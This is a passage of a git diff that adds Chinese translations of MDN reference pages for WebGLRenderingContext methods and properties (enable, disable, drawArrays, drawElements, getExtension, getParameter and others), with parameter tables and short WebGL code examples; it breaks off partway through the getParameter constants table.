A {{domxref("GLenum")}} specifying which WebGL capability to disable. Possible values:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantDescription
gl.BLENDDeactivates blending of the computed fragment color values. See {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACEDeactivates culling of polygons. See {{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TESTDeactivates depth comparisons and updates to the depth buffer. See {{domxref("WebGLRenderingContext.depthFunc()")}}.
gl.DITHERDeactivates dithering of color components before they get written to the color buffer.
gl.POLYGON_OFFSET_FILLDeactivates adding an offset to depth values of polygon's fragments. See {{domxref("WebGLRenderingContext.polygonOffset()")}}.
gl.SAMPLE_ALPHA_TO_COVERAGEDeactivates the computation of a temporary coverage value determined by the alpha value.
gl.SAMPLE_COVERAGEDeactivates ANDing the fragment's coverage with the temporary coverage value. See {{domxref("WebGLRenderingContext.sampleCoverage()")}}.
gl.SCISSOR_TESTDeactivates the scissor test that discards fragments that are outside of the scissor rectangle. See {{domxref("WebGLRenderingContext.scissor()")}}.
gl.STENCIL_TESTDeactivates stencil testing and updates to the stencil buffer. See {{domxref("WebGLRenderingContext.stencilFunc()")}}.
+ When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: + + + + + + + + + + + + + + +
ConstantDescription
gl.RASTERIZER_DISCARDDeactivates that primitives are discarded immediately before the rasterization stage, but after the optional transform feedback stage. gl.clear() commands are ignored.
+
+
+ +

Return value

+ +

None.

+ +

Examples

+ +
gl.disable(gl.DITHER);
+
+ +

To check if a capability is disabled, use the {{domxref("WebGLRenderingContext.isEnabled()")}} method:

+ +
gl.isEnabled(gl.DITHER);
+// false
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "disable")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glDisable.xml", "glDisable")}}{{Spec2('OpenGL ES 2.0')}}Man page of the (similar) OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glDisable")}}{{Spec2('OpenGL ES 3.0')}}Man page of the (similar) OpenGL ES 3.0 API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.disable")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/drawarrays/index.html b/files/zh-cn/web/api/webglrenderingcontext/drawarrays/index.html new file mode 100644 index 0000000000..f27d923833 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/drawarrays/index.html @@ -0,0 +1,93 @@ +--- +title: WebGLRenderingContext.drawArrays() +slug: Web/API/WebGLRenderingContext/drawArrays +tags: + - WebGL +translation_of: Web/API/WebGLRenderingContext/drawArrays +--- +
{{APIRef("WebGL")}}
+ +

 WebGL API 中的WebGLRenderingContext.drawArrays()方法用于从向量数组中绘制图元。

+ +

语法

+ +
void gl.drawArrays(mode, first, count);
+
+ +

参数

+ +
+
mode
+
{{domxref("GLenum")}} 类型,指定绘制图元的方式,可能值如下。 +
    +
  • gl.POINTS: 绘制一系列点。
  • +
  • gl.LINE_STRIP: 绘制一个线条。即,绘制一系列线段,上一点连接下一点。
  • +
  • gl.LINE_LOOP: 绘制一个线圈。即,绘制一系列线段,上一点连接下一点,并且最后一点与第一个点相连。
  • +
  • gl.LINES: 绘制一系列单独线段。每两个点作为端点,线段之间不连接。
  • +
  • gl.TRIANGLE_STRIP:绘制一个三角带
  • +
  • gl.TRIANGLE_FAN:绘制一个三角扇
  • +
  • gl.TRIANGLES: 绘制一系列三角形。每三个点作为顶点。
  • +
+
+
first
+
{{domxref("GLint")}} 类型 ,指定从哪个点开始绘制。
+
count
+
{{domxref("GLsizei")}} 类型,指定绘制需要使用到多少个点。
+
+ +

返回值

+ +

无。

+ +

异常

+ + + +

示例

+ +
gl.drawArrays(gl.POINTS, 0, 8);
+
+ +

文档规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.11", "drawArrays")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glDrawArrays.xml", "glDrawArrays")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.drawArrays")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/drawelements/index.html b/files/zh-cn/web/api/webglrenderingcontext/drawelements/index.html new file mode 100644 index 0000000000..e0dc9e96c6 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/drawelements/index.html @@ -0,0 +1,103 @@ +--- +title: WebGLRenderingContext.drawElements() +slug: Web/API/WebGLRenderingContext/drawElements +tags: + - API + - Method + - Reference + - WebGL +translation_of: Web/API/WebGLRenderingContext/drawElements +--- +
{{APIRef("WebGL")}}
+ +

该 WebGLRenderingContext.drawElements() 方法 在 WebGL API 从数组数据渲染图元.

+ +

语法

+ +
void gl.drawElements(mode, count, type, offset);
+
+ +

参数

+ +
+
mode
+
{{domxref("枚举类型")}} 指定要渲染的图元类型。可以是以下类型: +
    +
  • gl.POINTS: 画单独的点。
  • +
  • gl.LINE_STRIP: 画一条直线到下一个顶点。
  • +
  • gl.LINE_LOOP: 绘制一条直线到下一个顶点,并将最后一个顶点返回到第一个顶点.
  • +
  • gl.LINES: 在一对顶点之间画一条线.
  • +
  • gl.TRIANGLE_STRIP
  • +
  • gl.TRIANGLE_FAN
  • +
  • gl.TRIANGLES: 为一组三个顶点绘制一个三角形.
  • +
+
+
count
+
{{domxref("整数型")}} 指定要渲染的元素数量.
+
type
+
{{domxref("枚举类型")}} 指定元素数组缓冲区中的值的类型。可能的值是: +
    +
  • gl.UNSIGNED_BYTE
  • +
  • gl.UNSIGNED_SHORT
  • +
  • 当使用 {{domxref("OES_element_index_uint")}} 扩展时: +
      +
    • gl.UNSIGNED_INT
    • +
    +
  • +
+
+
offset
+
 {{domxref("字节单位")}} 指定元素数组缓冲区中的偏移量。必须是给定类型大小的有效倍数.
+
+ +

返回值

+ +

None.

+ +

异常

+ + + +

例子

+ +
gl.drawElements(gl.POINTS, 8, gl.UNSIGNED_BYTE, 0);
+
+ +

格式

+ + + + + + + + + + + + + + + + + + + +
格式状态注解
{{SpecName('WebGL', "#5.14.11", "drawElements")}}{{Spec2('WebGL')}}建议第一次定义.
{{SpecName('OpenGL ES 2.0', "glDrawElements.xml", "glDrawElements")}}{{Spec2('OpenGL ES 2.0')}}规范 OpenGL 手册
+ +

浏览器兼容

+ + + +

{{Compat("api.WebGLRenderingContext.drawElements")}}

+ +

相关参考

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/drawingbufferheight/index.html b/files/zh-cn/web/api/webglrenderingcontext/drawingbufferheight/index.html new file mode 100644 index 0000000000..4fbe5ff28a --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/drawingbufferheight/index.html @@ -0,0 +1,65 @@ +--- +title: WebGLRenderingContext.drawingBufferHeight +slug: Web/API/WebGLRenderingContext/drawingBufferHeight +tags: + - API + - WebGL + - WebGLRenderingContext + - 参考 + - 只读 + - 属性 +translation_of: Web/API/WebGLRenderingContext/drawingBufferHeight +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.drawingBufferHeight 只读属性,指示当前绘图缓冲区的实际高度。它应当匹配与绘图上下文相关联的 {{HTMLElement("canvas")}} 元素的高度属性, 如果实现未能提供所要求的高度,其值将有所不同。

+ +

语法

+ +
gl.drawingBufferHeight;
+ +

示例

+ +

指定 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

你可以通过下面几行代码来获取绘图缓冲区的高度:

+ +
var canvas = document.getElementById("canvas");
+var gl = canvas.getContext("webgl");
+gl.drawingBufferHeight; // 150
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebGL", "#DOM-WebGLRenderingContext-drawingBufferHeight", "WebGLRenderingContext.drawingBufferHeight")}}{{Spec2("WebGL")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.drawingBufferHeight")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/drawingbufferwidth/index.html b/files/zh-cn/web/api/webglrenderingcontext/drawingbufferwidth/index.html new file mode 100644 index 0000000000..7d259a52ed --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/drawingbufferwidth/index.html @@ -0,0 +1,65 @@ +--- +title: WebGLRenderingContext.drawingBufferWidth +slug: Web/API/WebGLRenderingContext/drawingBufferWidth +tags: + - API + - WebGL + - WebGLRenderingContext + - 参考 + - 只读 + - 属性 +translation_of: Web/API/WebGLRenderingContext/drawingBufferWidth +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.drawingBufferWidth 只读属性, 指示当前绘图缓冲区的实际宽度。它应当匹配与绘图上下文相关联的 {{HTMLElement("canvas")}} 元素的宽度属性。如果实现未能提供所要求的宽度,值将有所不同。

+ +

语法

+ +
gl.drawingBufferWidth;
+ +

示例

+ +

指定{{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

你可以通过下面几行代码来获取绘图缓冲区的宽度:

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.drawingBufferWidth; // 300
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebGL", "#DOM-WebGLRenderingContext-drawingBufferWidth", "WebGLRenderingContext.drawingBufferWidth")}}{{Spec2("WebGL")}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.drawingBufferWidth")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/enable/index.html b/files/zh-cn/web/api/webglrenderingcontext/enable/index.html new file mode 100644 index 0000000000..19fe6655ff --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/enable/index.html @@ -0,0 +1,156 @@ +--- +title: WebGLRenderingContext.enable() +slug: Web/API/WebGLRenderingContext/enable +tags: + - WebGLRenderingContext.enable +translation_of: Web/API/WebGLRenderingContext/enable +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 中的WebGLRenderingContext.enable() 方法,用于对该上下文开启某种特性。

+ +

语法

+ +
void gl.enable(cap);参数
+ +
+
cap
+
让WebGL开启某种特性,可能的值:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantDescription
gl.BLEND激活片元的颜色融合计算. 参见 {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACE激活多边形正反面剔除. 参见{{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TEST +

激活深度比较,并且更新深度缓冲区。参见{{domxref("WebGLRenderingContext.depthFunc()")}}.

+
gl.DITHER +

 

+ +

激活在写入颜色缓冲区之前,抖动颜色成分。

+
gl.POLYGON_OFFSET_FILL +

激活添加多边形片段的深度值偏移。参见{{domxref("WebGLRenderingContext.polygonOffset()")}}.

+
gl.SAMPLE_ALPHA_TO_COVERAGE +

激活通过alpha值决定的临时覆盖值计算。(抗锯齿)

+
gl.SAMPLE_COVERAGE +

激活使用临时覆盖值,位和运算片段的覆盖值。参见 {{domxref("WebGLRenderingContext.sampleCoverage()")}}.

+
gl.SCISSOR_TEST +

激活剪裁测试,即丢弃在剪裁矩形范围外的片段。{{domxref("WebGLRenderingContext.scissor()")}}.

+
gl.STENCIL_TEST +

激活模板测试并且更新模板缓冲区。参见{{domxref("WebGLRenderingContext.stencilFunc()")}}.

+
+ 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}时, 可以添加使用下面的值。 + + + + + + + + + + + + + + +
ConstantDescription
gl.RASTERIZER_DISCARD +

图元光栅化阶段之前,但在任意的transform反馈之后,就立刻被丢弃。gl.clear()命令被忽略。

+
+
+
+ +

返回值

+ +

None.

+ +

样例

+ +
gl.enable(gl.DITHER);
+
+ +

如果要检测可用性,可以使用 {{domxref("WebGLRenderingContext.isEnabled()")}} 方法:

+ +
gl.isEnabled(gl.DITHER);
+// true
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "enable")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glEnable.xml", "glEnable")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glEnable.xhtml", "glEnable")}}{{Spec2('OpenGL ES 3.0')}}Man page of the OpenGL ES 3.0 API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.enable")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/enablevertexattribarray/index.html b/files/zh-cn/web/api/webglrenderingcontext/enablevertexattribarray/index.html new file mode 100644 index 0000000000..493c9efa59 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/enablevertexattribarray/index.html @@ -0,0 +1,102 @@ +--- +title: WebGLRenderingContext.enableVertexAttribArray() +slug: Web/API/WebGLRenderingContext/enableVertexAttribArray +translation_of: Web/API/WebGLRenderingContext/enableVertexAttribArray +--- +
{{APIRef("WebGL")}}
+ +

WebGL API中,使用 {{domxref("WebGLRenderingContext")}} 中的enableVertexAttribArray() 方法,可以打开属性数组列表中指定索引处的通用顶点属性数组。

+ +
+

你可以通过以下方法关闭顶点属性数组 {{domxref("WebGLRenderingContext.disableVertexAttribArray", "disableVertexAttribArray()")}}.

+
+ +

在WebGL中,作用于顶点的数据会先储存在attributes。这些数据仅对JavaScript代码和顶点着色器可用。属性由索引号引用到GPU维护的属性列表中。在不同的平台或GPU上,某些顶点属性索引可能具有预定义的值。创建属性时,WebGL层会分配其他属性。

+ +

无论怎样,都需要你使用enableVertexAttribArray()方法,来激活每一个属性以便使用,不被激活的属性是不会被使用的。一旦激活,以下其他方法就可以获取到属性的值了,包括{{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}},{{domxref("WebGLRenderingContext.vertexAttrib", "vertexAttrib*()")}},和 {{domxref("WebGLRenderingContext.getVertexAttrib", "getVertexAttrib()")}}。

+ +

语法

+ +
void gl.enableVertexAttribArray(index);
+
+ +

参数

+ +

index

+ +
+
类型为{{domxref("GLuint")}} 的索引,指向要激活的顶点属性。如果您只知道属性的名称,不知道索引,您可以使用以下方法来获取索引{{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}.
+
+ +

返回值

+ +

undefined.

+ +

错误

+ +

您可以使用{{domxref("WebGLRenderingContext.getError", "getError()")}}方法,来检查使用enableVertexAttribArray()时发生的错误。

+ +
+
WebGLRenderingContext.INVALID_VALUE
+
非法的 index 。一般是 index 大于或等于了顶点属性列表允许的最大值。该值可以通过 WebGLRenderingContext.MAX_VERTEX_ATTRIBS获取。
+
+ +

例子

+ +

该例子是 A basic 2D WebGL animation example 中的一部分,用以说明 enableVertexArray() 是如何激活顶点属性,并将顶点数据传输到shader函数的。

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, vertexBuffer);
+
+aVertexPosition =
+    gl.getAttribLocation(shaderProgram, "aVertexPosition");
+
+gl.enableVertexAttribArray(aVertexPosition);
+gl.vertexAttribPointer(aVertexPosition, vertexNumComponents,
+      gl.FLOAT, false, 0, 0);
+
+gl.drawArrays(gl.TRIANGLES, 0, vertexCount);
+ +
该段代码来自于 "A basic 2D WebGL animation example." 中的 the function animateScene() 。 通过连接来查看全文,您可以查看产生的动画效果。
+ +

以上代码中,使用了{{domxref("WebGLRenderingContext.bindBuffer", "bindBuffer()")}}来设置将用于绘图的顶点数据的缓存。然后使用{{domxref("WebGLRenderingContext.getAttribLocation", "getAttribLocation()")}}来获取顶点数据在shader函数中的索引。

+ +

我们用 enableVertexAttribArray() 函数来激活 aVertexPosition中记录的索引位置,以便在后面对该顶点属性进行数据绑定。

+ +

使用{{domxref("WebGLRenderingContext.vertexAttribPointer", "vertexAttribPointer()")}} 将缓存数据绑定到shader函数中的顶点属性。于是,我们可以通过{{domxref("WebGLRenderingContext.drawArrays", "drawArrays()")}}函数将顶点一一绘制。

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.10", "enableVertexAttribArray")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glEnableVertexAttribArray.xml", "glEnableVertexAttribArray")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.enableVertexAttribArray")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getattriblocation/index.html b/files/zh-cn/web/api/webglrenderingcontext/getattriblocation/index.html new file mode 100644 index 0000000000..fb8cd90aa8 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getattriblocation/index.html @@ -0,0 +1,65 @@ +--- +title: WebGLRenderingContext.getAttribLocation() +slug: Web/API/WebGLRenderingContext/getAttribLocation +translation_of: Web/API/WebGLRenderingContext/getAttribLocation +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getAttribLocation() 方法返回了给定{{domxref("WebGLProgram")}}对象中某属性的下标指向位置。

+ +

语法

+ +
GLint gl.getAttribLocation(program, name);
+
+ +

参数

+ +
+
program
+
一个包含了属性参数的{{domxref("WebGLProgram")}} 对象。
+
name
+
需要获取下标指向位置的 {{domxref("DOMString")}} 属性参数名
+
+ +

返回值

+ +

表明属性位置的下标 {{domxref("GLint")}} 数字,如果找不到该属性则返回-1。

+ +

示例

+ +
gl.getAttribLocation(program, 'vColor');
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('WebGL', "#5.14.10", "getAttribLocation")}}{{Spec2('WebGL')}}原始定义.
{{SpecName('OpenGL ES 2.0', "glGetAttribLocation.xml", "glGetAttribLocation")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API的主页.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getAttribLocation")}}

+ +

相关资料

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getcontextattributes/index.html b/files/zh-cn/web/api/webglrenderingcontext/getcontextattributes/index.html new file mode 100644 index 0000000000..a7eccd10a4 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getcontextattributes/index.html @@ -0,0 +1,79 @@ +--- +title: WebGLRenderingContext.getContextAttributes() +slug: Web/API/WebGLRenderingContext/getContextAttributes +translation_of: Web/API/WebGLRenderingContext/getContextAttributes +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getContextAttributes() 方法返回一个包含实际上下文参数的 WebGLContextAttributes 对象。如果上下文丢失,可能返回 {{jsxref("null")}}。

+ +

语法

+ +
gl.getContextAttributes();
+ +

返回值

+ +

一个包含实际上下文参数的 WebGLContextAttributes 的对象,或 {{jsxref("null")}} (如果上下文丢失)。

+ +

实例

+ +

给定 {{HTMLElement("canvas")}} 元素

+ +
<canvas id="canvas"></canvas>
+
+ +

和给定 WebGL 上下文

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+gl.getContextAttributes();
+
+ +

getContextAttributes 方法返回描述在此上下文中设置的属性的对象,例如:

+ +
{
+  alpha: true,
+  antialias: true,
+  depth: true,
+  failIfMajorPerformanceCaveat: false,
+  premultipliedAlpha: true,
+  preserveDrawingBuffer: false,
+  stencil: false
+}
+ +

上下文的属性可以在用 {{domxref("HTMLCanvasElement.getContext()")}} 方法创建上下文时设置:

+ +
canvas.getContext('webgl',
+                 { antialias: false,
+                   depth: false });
+ +

有关各个属性的更多信息,请参阅 {{domxref("HTMLCanvasElement.getContext()", "getContext()")}}。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName("WebGL", "#5.14.2", "WebGLRenderingContext.getContextAttributes")}}{{Spec2("WebGL")}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.getContextAttributes")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getextension/index.html b/files/zh-cn/web/api/webglrenderingcontext/getextension/index.html new file mode 100644 index 0000000000..2058a25943 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getextension/index.html @@ -0,0 +1,73 @@ +--- +title: WebGLRenderingContext.getExtension() +slug: Web/API/WebGLRenderingContext/getExtension +tags: + - API + - WebGL + - WebGLRenderingContext + - 参考 + - 方法 +translation_of: Web/API/WebGLRenderingContext/getExtension +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.getExtension() 方法可以启用一个 WebGL 扩展。

+ +

语法

+ +
gl.getExtension(name);
+ +

参数

+ +
+
name
+
以 {{jsxref("String")}} 形式表示的需要启用的 WebGL 扩展的名称。
+
+ +

返回值

+ +

一个 WebGL 扩展对象。如果扩展名称(区分大小写)与 {{domxref("WebGLRenderingContext.getSupportedExtensions")}} 中的任何结果都不匹配,则只会返回 {{jsxref("null")}} 。

+ +

示例

+ +

当一个 WebGL 扩展被启用后,就可以使用该扩展提供的方法、属性和常量。

+ +
var canvas = document.getElementById('canvas');
+gl = canvas.getContext('webgl');
+
+gl.getExtension('WEBGL_lose_context').loseContext();
+
+ +

WebGL 扩展

+ +

WebGL API 的扩展在 WebGL Extension Registry 定义。目前支持的扩展如下:

+ +

{{page("en-US/docs/Web/API/WebGL_API", "Extensions")}}

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("WebGL", "#5.14.14", "WebGLRenderingContext.getExtension")}}{{Spec2("WebGL")}}初次定义
+ +

浏览器兼容性

+ +

{{page("en-US/docs/Web/API/WebGL_API/Using_Extensions", "Browser_compatibility")}}

+ +

参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/getparameter/index.html b/files/zh-cn/web/api/webglrenderingcontext/getparameter/index.html new file mode 100644 index 0000000000..371ce46ef3 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/getparameter/index.html @@ -0,0 +1,1009 @@ +--- +title: WebGLRenderingContext.getParameter() +slug: Web/API/WebGLRenderingContext/getParameter +tags: + - WebGL +translation_of: Web/API/WebGLRenderingContext/getParameter +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.getParameter() 方法为传入的参数名称返回一个值。

+ +

语法

+ +
any gl.getParameter(pname);
+
+ +

参数

+ +
+
pname
+
一个指定要返回哪个参数值的 {{domxref("GLenum")}}。请参阅下文的可能值。
+
+ +

返回值

+ +

取决于参数。

+ +

参数名称

+ +

WebGL 1

+ +

使用 {{domxref("WebGLRenderingContext")}} 时,您可以查询以下 pname 参数。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量返回类型描述
gl.ACTIVE_TEXTURE{{domxref("GLenum")}} 
gl.ALIASED_LINE_WIDTH_RANGE{{jsxref("Float32Array")}} (with 2 elements) 
gl.ALIASED_POINT_SIZE_RANGE{{jsxref("Float32Array")}} (with 2 elements) 
gl.ALPHA_BITS{{domxref("GLint")}} 
gl.ARRAY_BUFFER_BINDING{{domxref("WebGLBuffer")}} 
gl.BLEND{{domxref("GLboolean")}} 
gl.BLEND_COLOR{{jsxref("Float32Array")}} (with 4 values) 
gl.BLEND_DST_ALPHA{{domxref("GLenum")}} 
gl.BLEND_DST_RGB{{domxref("GLenum")}} 
gl.BLEND_EQUATION{{domxref("GLenum")}} 
gl.BLEND_EQUATION_ALPHA{{domxref("GLenum")}} 
gl.BLEND_EQUATION_RGB{{domxref("GLenum")}} 
gl.BLEND_SRC_ALPHA{{domxref("GLenum")}} 
gl.BLEND_SRC_RGB{{domxref("GLenum")}} 
gl.BLUE_BITS{{domxref("GLint")}} 
gl.COLOR_CLEAR_VALUE{{jsxref("Float32Array")}} (with 4 values) 
gl.COLOR_WRITEMASKsequence<{{domxref("GLboolean")}}> (with 4 values) 
gl.COMPRESSED_TEXTURE_FORMATS{{jsxref("Uint32Array")}}返回压缩的纹理格式。
+
+ 当使用 {{domxref("WEBGL_compressed_texture_s3tc")}} 扩展时: +
    +
  • ext.COMPRESSED_RGB_S3TC_DXT1_EXT
  • +
  • ext.COMPRESSED_RGBA_S3TC_DXT1_EXT
  • +
  • ext.COMPRESSED_RGBA_S3TC_DXT3_EXT
  • +
  • ext.COMPRESSED_RGBA_S3TC_DXT5_EXT
  • +
+ +

当使用 {{domxref("WEBGL_compressed_texture_s3tc_srgb")}} 扩展时:

+ +
    +
  • ext.COMPRESSED_SRGB_S3TC_DXT1_EXT
  • +
  • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT
  • +
  • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT
  • +
  • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT
  • +
+ 当使用 {{domxref("WEBGL_compressed_texture_es3")}} 扩展时: + +
    +
  • ext.COMPRESSED_R11_EAC
  • +
  • ext.COMPRESSED_SIGNED_R11_EAC
  • +
  • ext.COMPRESSED_RG11_EAC
  • +
  • ext.COMPRESSED_SIGNED_RG11_EAC
  • +
  • ext.COMPRESSED_RGB8_ETC2
  • +
  • ext.COMPRESSED_RGBA8_ETC2_EAC
  • +
  • ext.COMPRESSED_SRGB8_ETC2
  • +
  • ext.COMPRESSED_SRGB8_ALPHA8_ETC2_EAC
  • +
  • ext.COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2
  • +
  • ext.COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2
  • +
+ 当使用 {{domxref("WEBGL_compressed_texture_pvrtc")}} 扩展时: + +
    +
  • ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG
  • +
  • ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG
  • +
  • ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG
  • +
  • ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG
  • +
+ 当使用 {{domxref("WEBGL_compressed_texture_etc1")}} 扩展时: + +
    +
  • ext.COMPRESSED_RGB_ETC1_WEBGL
  • +
+ 当使用 {{domxref("WEBGL_compressed_texture_atc")}} 扩展时: + +
    +
  • ext.COMPRESSED_RGB_ATC_WEBGL
  • +
  • ext.COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL
  • +
  • ext.COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL
  • +
+ 当使用 {{domxref("WEBGL_compressed_texture_astc")}} 扩展时: + +
    +
  • ext.COMPRESSED_RGBA_ASTC_4x4_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_5x4_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_5x5_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_6x5_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_6x6_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_8x5_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_8x6_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_8x8_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_10x5_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_10x6_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_10x6_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_10x10_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_12x10_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR
  • +
  • ext.COMPRESSED_RGBA_ASTC_12x12_KHR
    + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR
  • +
+
gl.CULL_FACE{{domxref("GLboolean")}} 
